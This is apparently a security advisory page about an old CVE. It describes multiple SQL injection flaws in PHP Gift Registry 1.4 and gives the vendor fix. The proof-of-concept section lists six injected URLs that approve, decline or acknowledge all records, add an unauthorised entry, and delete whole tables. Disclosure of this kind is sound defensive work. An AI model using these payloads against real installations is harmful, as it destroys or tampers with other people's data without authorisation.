PHP Gift Registry Multiple SQL Injection Vulnerabilities

BID:12289

Info

PHP Gift Registry Multiple SQL Injection Vulnerabilities

Bugtraq ID: 12289
Class: Input Validation Error
CVE: CVE-2005-0292
Remote: Yes
Local: No
Published: Jan 17 2005 12:00AM
Updated: Jul 12 2009 10:06AM
Credit: Discovery of this vulnerability is credited to Madelman <[email protected]>.
Vulnerable: PHP Gift Registry phpgiftreg 1.4
Not Vulnerable: PHP Gift Registry phpgiftreg 1.5 b1

Discussion

PHP Gift Registry Multiple SQL Injection Vulnerabilities

PHP Gift Registry is reportedly affected by multiple SQL injection vulnerabilities. These issues are due to the application failing to properly sanitize user-supplied input before being used in SQL queries.

It is reported that successful exploitation could result in a compromise of the application, disclosure or modification of data or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Exploit / POC

PHP Gift Registry Multiple SQL Injection Vulnerabilities

No exploit is required and the following proof of concepts were provided by the discoverer of this vulnerability:

Acknowledge all messages
http://www.example.com/phpgiftreg/index.php?action=ack&amp;messageid=2%20OR%201%3d1

Approve all pending requests
http://www.example.com/phpgiftreg/index.php?action=approve&amp;shopper=1%20OR%201%3d1

Decline all pending requests
http://www.example.com/phpgiftreg/index.php?action=decline&amp;shopper=1%20OR%201%3d1

Inserts current shopper for buying to user 3 without need for approval
http://www.example.com/phpgiftreg/index.php?action=request&amp;shopfor=3%2c0%29%2c%2899%2c100

Delete all data from table shoppers
http://www.example.com/phpgiftreg/index.php?action=cancel&amp;shopfor=3%20OR%201%3d1

Delete all data from table items
http://www.example.com/phpgiftreg/item.php?action=delete&amp;itemid=3%20OR%201%3d1

Solution / Fix

PHP Gift Registry Multiple SQL Injection Vulnerabilities

Solution:
The vendor has released phpgiftreg 1.5.0 b1 to address these issues.


PHP Gift Registry phpgiftreg 1.4

References

PHP Gift Registry Multiple SQL Injection Vulnerabilities

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report